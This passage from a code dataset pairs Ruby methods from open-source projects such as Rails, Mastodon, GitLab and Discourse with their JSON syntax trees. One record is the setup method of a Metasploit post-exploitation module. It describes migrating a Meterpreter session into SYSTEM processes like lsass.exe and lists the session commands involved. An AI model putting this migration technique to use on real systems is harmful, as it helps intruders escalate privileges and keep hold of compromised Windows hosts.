\"options\"]}]}]}]}]}]}","id":"bbafda42-7bf5-44ee-ba0a-f5b8e4a7eafe"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/activitypub/parser/status_parser.rb","start_line":84,"raw_source":"def visibility\n    if audience_to.any? { |to| ActivityPub::TagManager.instance.public_collection?(to) }\n      :public\n    elsif audience_cc.any? { |cc| ActivityPub::TagManager.instance.public_collection?(cc) }\n      :unlisted\n    elsif audience_to.include?(@options[:followers_collection])\n      :private\n    else\n      :direct\n    end\n  end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"visibility\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"audience_to\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"to\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"public_collection?\",{\"type\":\"lvar\",\"children\":[\"to\"]}]}]},{\"type\":\"sym\",\"children\":[\"public\"]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"audience_cc\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"public_collection?\",{\"type\":\"lvar\",\"children\":[\"cc\"]}]}]},{\"type\":\"sym\",\"children\":[\"unlisted\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"audience_to\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"followers_collection\"]}]}]},{\"type\":\"sym\",\"children\":[\"private\"]},{\"type\":\"sym\",\"children\":[\"direct\"]}]}]}]}]}","id":"5770eaea-b9de-43e3-abd8-7c0fabaab8da"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/priv_migrate.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Windows Manage Privilege Based Process Migration ',\n        'Description' => %q{\n          This module will migrate a Meterpreter session based on session privileges.\n          It will do everything it can to migrate, including spawning a new User level process.\n          For sessions with Admin rights: It will try to migrate into a System level process in the following\n          order: ANAME (if specified), services.exe, wininit.exe, svchost.exe, lsm.exe, lsass.exe, and winlogon.exe.\n          If all these fail and NOFAIL is set to true, it will fall back to User level migration. For sessions with User level rights:\n          It will try to migrate to a user level process, if that fails it will attempt to spawn the process\n          then migrate to it. It will attempt the User level processes in the following order:\n          NAME (if specified), explorer.exe, then notepad.exe.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Josh Hale \"sn0wfa11\" <jhale85446[at]gmail.com>',\n          'theLightCosine'\n        ],\n        'Platform' => ['win' ],\n        'SessionTypes' => ['meterpreter' ],\n        'Compat' => {\n          'Meterpreter' => {\n            'Commands' => %w[\n              core_migrate\n              stdapi_sys_config_getuid\n              stdapi_sys_process_attach\n              stdapi_sys_process_execute\n              stdapi_sys_process_get_processes\n              stdapi_sys_process_kill\n            ]\n          }\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SERVICE_DOWN],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('ANAME', [false, 'System process to migrate to. For sessions with Admin rights. (See Module Description.)']),\n        OptString.new('NAME', [false, 'Process to migrate to. For sessions with User rights. (See Module Description.)']),\n        OptBool.new('KILL', [true, 'Kill original session process.', false]),\n        OptBool.new('NOFAIL', [true, 'Migrate to user level process if Admin migration fails. May downgrade privileged shells.', false])\n      ]\n    )\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows Manage Privilege Based Process Migration \"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module will migrate a Meterpreter session based on session privileges.\\n\"]},{\"type\":\"str\",\"children\":[\"          It will do everything it can to migrate, including spawning a new User level process.\\n\"]},{\"type\":\"str\",\"children\":[\"          For sessions with Admin rights: It will try to migrate into a System level process in the following\\n\"]},{\"type\":\"str\",\"children\":[\"          order: ANAME (if specified), services.exe, wininit.exe, svchost.exe, lsm.exe, lsass.exe, and winlogon.exe.\\n\"]},{\"type\":\"str\",\"children\":[\"          If all these fail and NOFAIL is set to true, it will fall back to User level migration. For sessions with User level rights:\\n\"]},{\"type\":\"str\",\"children\":[\"          It will try to migrate to a user level process, if that fails it will attempt to spawn the process\\n\"]},{\"type\":\"str\",\"children\":[\"          then migrate to it. It will attempt the User level processes in the following order:\\n\"]},{\"type\":\"str\",\"children\":[\"          NAME (if specified), explorer.exe, then notepad.exe.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Josh Hale \\\"sn0wfa11\\\" <jhale85446[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"theLightCosine\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"core_migrate\"]},{\"type\":\"str\",\"children\":[\"stdapi_sys_config_getuid\"]},{\"type\":\"str\",\"children\":[\"stdapi_sys_process_attach\"]},{\"type\":\"str\",\"children\":[\"stdapi_sys_process_execute\"]},{\"type\":\"str\",\"children\":[\"stdapi_sys_process_get_processes\"]},{\"type\":\"str\",\"children\":[\"stdapi_sys_process_kill\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ANAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"System process to migrate to. For sessions with Admin rights. (See Module Description.)\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"NAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Process to migrate to. For sessions with User rights. (See Module Description.)\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"KILL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Kill original session process.\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"NOFAIL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Migrate to user level process if Admin migration fails. May downgrade privileged shells.\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"4429483b-b6dc-4f6d-8729-0d3828adb881"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/mock_request.rb","start_line":57,"raw_source":"def delete(uri, opts = {})  request(DELETE, uri, opts)  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"delete\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uri\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"request\",{\"type\":\"const\",\"children\":[null,\"DELETE\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}","id":"124ab7bf-b4c2-49ff-b41e-b9c32a032890"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/empty_line_after_guard_clause.rb","start_line":148,"raw_source":"def last_heredoc_argument(node)\n          n = last_heredoc_argument_node(node)\n\n          return n if heredoc?(n)\n          return unless n.respond_to?(:arguments)\n\n          n.arguments.each do |argument|\n            node = last_heredoc_argument(argument)\n            return node if node\n          end\n\n          last_heredoc_argument(n.receiver) if n.respond_to?(:receiver)\n        end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"last_heredoc_argument\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"n\",{\"type\":\"send\",\"children\":[null,\"last_heredoc_argument_node\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"heredoc?\",{\"type\":\"lvar\",\"children\":[\"n\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"arguments\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"arguments\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"argument\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"node\",{\"type\":\"send\",\"children\":[null,\"last_heredoc_argument\",{\"type\":\"lvar\",\"children\":[\"argument\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"receiver\"]}]},{\"type\":\"send\",\"children\":[null,\"last_heredoc_argument\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"receiver\"]}]},null]}]}]}","id":"18f4aa21-0b66-4efc-a897-48554d559407"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_format.rb","start_line":237,"raw_source":"def escape_control_chars(string)\n          string.gsub(/\\p{Cc}/) { |s| s.dump[1..-2] }\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"escape_control_chars\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\p{Cc}\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"dump\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[-2]}]}]}]}]}","id":"03cc97a1-d428-4f1b-b4dc-4534bd081a1d"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/visits/bulk_update.rb","start_line":34,"raw_source":"def update_visits\n      visits = user.visits.where(id: visit_ids)\n\n      if visits.empty?\n        errors << 'No matching visits found'\n        return false\n      end\n\n      # rubocop:disable Rails/SkipsModelValidations\n      updated_count = visits.update_all(status: status)\n      # rubocop:enable Rails/SkipsModelValidations\n\n      { count: updated_count, visits: visits }\n    end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_visits\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"visits\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"visits\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"visit_ids\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visits\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"<<\",{\"type\":\"str\",\"children\":[\"No matching visits found\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"updated_count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visits\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[null,\"status\"]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"lvar\",\"children\":[\"updated_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visits\"]},{\"type\":\"lvar\",\"children\":[\"visits\"]}]}]}]}]}","id":"3acabdfe-03a8-4037-b59d-140e17a813cf"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/reminders/base_contract.rb","start_line":69,"raw_source":"def validate_remind_at_is_in_future\n      if model.remind_at.present? && model.remind_at < Time.current\n        errors.add :remind_at, :datetime_must_be_in_future\n      end\n    end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_remind_at_is_in_future\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"remind_at\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"remind_at\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"remind_at\"]},{\"type\":\"sym\",\"children\":[\"datetime_must_be_in_future\"]}]},null]}]}","id":"1707a1eb-97a6-4705-93f9-2800aa00014d"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/digestor.rb","start_line":38,"raw_source":"def logger\n        ActionView::Base.logger || NullLogger\n      end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"logger\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Base\"]},\"logger\"]},{\"type\":\"const\",\"children\":[null,\"NullLogger\"]}]}]}","id":"36bacf9e-e938-452f-8c03-b5e494e3736b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/insert_all_test.rb","start_line":168,"raw_source":"def test_insert_all_with_skip_duplicates_and_autonumber_id_not_given\n    skip unless supports_insert_on_duplicate_skip?\n\n    assert_difference \"Book.count\", 1 do\n      # These two books are duplicates according to an index on %i[author_id name]\n      # but their IDs are not specified so they will be assigned different IDs\n      # by autonumber. We will get an exception from MySQL if we attempt to skip\n      # one of these records by assigning its ID.\n      Book.insert_all [\n        { author_id: 8, name: \"Refactoring\" },\n        { author_id: 8, name: \"Refactoring\" }\n      ]\n    end\n  end","complexity_score":7.15,"ast_json":"{\"type\":\"def\",\"children\":[\"test_insert_all_with_skip_duplicates_and_autonumber_id_not_given\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supports_insert_on_duplicate_skip?\"]},null,{\"type\":\"send\",\"children\":[null,\"skip\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_difference\",{\"type\":\"str\",\"children\":[\"Book.count\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Book\"]},\"insert_all\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"int\",\"children\":[8]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Refactoring\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"int\",\"children\":[8]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Refactoring\"]}]}]}]}]}]}]}]}","id":"06d05b85-261f-4b73-a980-10aad474778a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/entry/product/matrix.rb","start_line":28,"raw_source":"def compose!(deps = nil)\n              super(deps) do\n                @config.each_with_index do |variables, index|\n                  @entries[index] = ::Gitlab::Config::Entry::Factory.new(Entry::Product::Variables)\n                    .value(variables)\n                    .with(parent: self, description: 'matrix variables definition.') # rubocop:disable CodeReuse/ActiveRecord\n                    .create!\n                end\n\n                @entries.each_value do |entry|\n                  entry.compose!(deps)\n                end\n              end\n            end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"compose!\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"deps\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deps\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"variables\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@entries\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Config\"]},\"Entry\"]},\"Factory\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Entry\"]},\"Product\"]},\"Variables\"]}]},\"value\",{\"type\":\"lvar\",\"children\":[\"variables\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"matrix variables definition.\"]}]}]}]},\"create!\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@entries\"]},\"each_value\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"compose!\",{\"type\":\"lvar\",\"children\":[\"deps\"]}]}]}]}]}]}","id":"cd1b8334-f653-40f3-8d94-02749a02a7e9"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/backlogs/app/helpers/rb_common_helper.rb","start_line":157,"raw_source":"def type_id_or_empty(story)\n    story.type_id.to_s\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"type_id_or_empty\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"story\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"story\"]},\"type_id\"]},\"to_s\"]}]}","id":"c6c98103-d693-4be0-9fe4-1bb1d00028a1"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/smell_warning.rb","start_line":51,"raw_source":"def <=>(other)\n      identifying_values <=> other.identifying_values\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"<=>\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"identifying_values\"]},\"<=>\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"identifying_values\"]}]}]}","id":"8d18079b-5816-4d25-99d2-c48faa62f6a7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/popen/runner.rb","start_line":12,"raw_source":"def run(commands, &block)\n        commands.each do |cmd|\n          # yield doesn't support blocks, so we need to use a block variable\n          block.call(cmd) do\n            cmd_result = Gitlab::Popen.popen_with_detail(cmd)\n\n            results << cmd_result\n\n            cmd_result\n          end\n        end\n      end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"commands\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commands\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd_result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Popen\"]},\"popen_with_detail\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"results\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"cmd_result\"]}]},{\"type\":\"lvar\",\"children\":[\"cmd_result\"]}]}]}]}]}","id":"6e2a5b7e-dd50-4f55-9b5c-c962214cd7a1"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/backup_restore/local_backup_store.rb","start_line":36,"raw_source":"def delete_file(filename)\n      path = path_from_filename(filename)\n      if File.exist?(path)\n        File.delete(path)\n        reset_cache\n      end\n    end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"path_from_filename\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"reset_cache\"]}]},null]}]}]}","id":"579133c7-249f-4d26-993c-910f54a2042e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/type/type_map_test.rb","start_line":110,"raw_source":"def test_fuzzy_lookup\n        string = +\"\"\n        mapping = klass.new\n\n        mapping.register_type(/varchar/i, string)\n\n        assert_equal mapping.lookup(\"varchar(20)\"), string\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fuzzy_lookup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"string\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"lvasgn\",\"children\":[\"mapping\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"klass\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]},\"register_type\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"varchar\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"lvar\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]},\"lookup\",{\"type\":\"str\",\"children\":[\"varchar(20)\"]}]},{\"type\":\"lvar\",\"children\":[\"string\"]}]}]}]}","id":"398da63f-6b85-4588-b572-6453d30d8d56"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/personas/tools/google.rb","start_line":79,"raw_source":"def parse_search_json(json_data, escaped_query, llm)\n          parsed = JSON.parse(json_data)\n          error_code = parsed.dig(\"error\", \"code\")\n          if error_code == 429\n            Rails.logger.warn(\n              \"Google Custom Search is Rate Limited, no search can be performed at the moment. #{json_data[0..1000]}\",\n            )\n            return(\n              \"Google Custom Search is Rate Limited, no search can be performed at the moment. Let the user know there is a problem.\"\n            )\n          elsif error_code\n            Rails.logger.warn(\"Google Custom Search returned an error. #{json_data[0..1000]}\")\n            return \"Google Custom Search returned an error. Let the user know there is a problem.\"\n          end\n\n          results = parsed[\"items\"]\n\n          @results_count = parsed.dig(\"searchInformation\", \"totalResults\").to_i\n\n          format_results(results, args: escaped_query) do |result|\n            {\n              title: minimize_field(result, \"title\", llm),\n              link: minimize_field(result, \"link\", llm),\n              snippet: minimize_field(result, \"snippet\", llm, max_tokens: 120),\n              displayLink: minimize_field(result, \"displayLink\", llm),\n              formattedUrl: minimize_field(result, \"formattedUrl\", llm),\n            }\n          end\n        